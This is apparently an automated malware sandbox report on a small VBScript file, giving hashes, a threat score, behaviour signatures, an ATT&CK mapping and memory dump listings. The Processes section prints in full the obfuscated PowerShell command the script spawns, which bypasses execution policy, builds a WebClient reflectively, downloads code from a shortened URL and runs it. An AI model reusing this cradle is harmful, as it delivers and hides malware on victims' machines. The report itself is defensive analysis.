Overview

overview

10

Static

static

BGWA373.vbs

windows7_x64

8

BGWA373.vbs

windows10_x64

10

Analysis

  • max time kernel
    11s
  • max time network
    13s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    24-07-2021 07:11

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General

  • Target

    BGWA373.vbs

  • Size

    662B

  • MD5

    0aaf99120926cd036d4e12bf6bd9529e

  • SHA1

    b4c8b77fd55e4ba131d17137c5e8aeea2fae5a7a

  • SHA256

    1c80b7c0a15cb2c6685b9eb72124e4b4dd5b7f80f60acc59d0d24f863610feb0

  • SHA512

    64ee05a4b8e1a849c715a56469b95856232bc57182e4c1b6e8eeebfb2331c39811b7bbd1eea4161f3cc9dd2915b7c38a4ed18873824663a764207f42eb533570

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BGWA373.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec Bypass gdr -*;Set-Variable 5 (&(Get-Item Variable:/E*t).Value.InvokeCommand.(((Get-Item Variable:/E*t).Value.InvokeCommand|Get-Member|?{(DIR Variable:/_).Value.Name-ilike'*ts'}).Name).Invoke('*w-*ct')Net.WebClient);Set-Variable S 'https://bit.ly/3wVvbjD'; (Get-Item Variable:/E*t).Value.InvokeCommand.InvokeScript((GCI Variable:5).Value.((((GCI Variable:5).Value|Get-Member)|?{(DIR Variable:/_).Value.Name-ilike'*wn*g'}).Name).Invoke((GV S -ValueO)))
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1056

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/1056-61-0x0000000000000000-mapping.dmp
    Download
  • memory/1056-63-0x0000000002670000-0x0000000002671000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1056-64-0x000000001AAA0000-0x000000001AAA1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1056-65-0x000000001A9C0000-0x000000001A9C1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1056-67-0x0000000002564000-0x0000000002566000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1056-66-0x0000000002560000-0x0000000002562000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1056-68-0x0000000002200000-0x0000000002201000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1056-69-0x000000001B510000-0x000000001B511000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1056-70-0x000000001B630000-0x000000001B631000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1056-71-0x00000000023B0000-0x00000000023B1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1056-72-0x000000001B700000-0x000000001B701000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1100-60-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp
    Filesize

    8KB

    Download